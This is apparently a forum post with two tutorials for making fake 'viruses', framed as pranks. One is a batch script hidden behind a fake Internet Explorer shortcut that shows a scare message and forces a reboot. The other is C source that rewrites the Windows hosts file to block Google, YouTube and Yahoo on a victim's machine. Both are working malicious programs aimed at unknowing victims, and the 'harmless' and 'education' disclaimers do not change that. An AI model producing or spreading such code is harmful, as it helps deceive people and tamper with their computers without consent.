Fake Facebook Virus - Computer harmless Trick (Prank)

[Srini]

Note :
* IT IS ONLY FOR EDUCATION PURPOSE.
* 100 % Harmless.

In this tutorial I will show you how to make a Facebook virus using simple commands on notepad. .This will make the victim think they have got a virus when they click on an icon such as Internet Explorer .

1) Open notepad

2) Type this in :

Code:

@echo off
msg * WARNING VIRUS DETECTED!!!!! AFTER 5 MINUTES YOUR FACEBOOK ACCOUNT WILL BE DELETED !!!!TO REMOVE THE  VIRUS CLICK OK OR CLOSE THIS BOX!

PAUSE
shutdown -r -t 300 -c " SORRY!!! YOUR  FACEBOOK  ACCOUNT  ARE NOW BEING DELETED !!! PLEASE WAIT ........... - For more Trick visit : www.vidyarthiplus.com"

   

3)Save as Internet Explorer .bat

   

4)Right click on Internet Explorer .bat and click Create Shortcut

   

5)Right click on shortcut and click Properties.

   

6)Click Change Icon

   


7) Choose Internet Explorer icon or similar , click OK , then click Apply

   

8)Delete real shortcut and replace it with fake . When victim click on it , he will get warning messages that looks like this:

   
   

After five minutes windows will restart , that is all. This is totally harmless and will give you a laugh. Enjoy !

[Prabakar]

Note :
* IT IS ONLY FOR EDUCATION PURPOSE.
* 100 % Harmless

A Virus Program to Block Websites

Most of us are familiar with the virus that used to block Orkut and Youtube site. If you are curious about creating such a virus on your own, here is how it can be done. As usual I’ll use my favorite programming language ‘C’ to create this website blocking virus. I will give a brief introduction about this virus before I jump into the technical jargon.

This virus has been exclusively created in ‘C’. So, anyone with a basic knowledge of C will be able to understand the working of the virus. This virus need’s to be clicked only once by the victim. Once it is clicked, it’ll block a list of websites that has been specified in the source code. The victim will never be able to surf those websites unless he re-install’s the operating system. This blocking is not just confined to IE or Firefox. So once blocked, the site will not appear in any of the browser program.

NOTE: You can also block a website manually. But, here I have created a virus that automates all the steps involved in blocking. The manual blocking process is described in the post How to Block a Website ?
Here is the sourcecode of the virus.

#include<stdio.h>
#include<dos.h>
#include<dir.h>
char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1?;
FILE *target;

int find_root(void);
void block_site(void);

int find_root()
{
int done;
struct ffblk ffblk;//File block structure

done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

else return 0;
}

void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/

fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}

void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}
How to Compile ?

For step-by-step compilation guide, refer my post How to compile C Programs.

Testing

1. To test, run the compiled module. It will block the sites that is listed in the source code.

2. Once you run the file block_Site.exe, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.

3. To remove the virus type the following the Run.

%windir%\system32\drivers\etc
4. There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this

127.0.0.1 google.com
5. Delete all such entries which contain the names of blocked sites.